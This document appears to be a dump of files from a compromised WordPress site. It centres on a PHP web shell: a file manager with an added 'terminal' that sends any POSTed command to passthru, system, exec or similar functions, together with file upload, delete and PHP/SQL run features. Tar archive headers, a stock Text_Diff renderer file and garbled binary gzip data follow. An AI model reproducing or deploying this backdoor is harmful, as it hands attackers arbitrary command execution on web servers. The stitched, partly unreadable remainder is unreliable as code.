		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                       inline.php.tar                                                                                      0000644                 00000016000 15217301621 0007313 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bolt.php.php.tar.gz                                                                                 0000644                 00000060651 15217301621 0010215 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
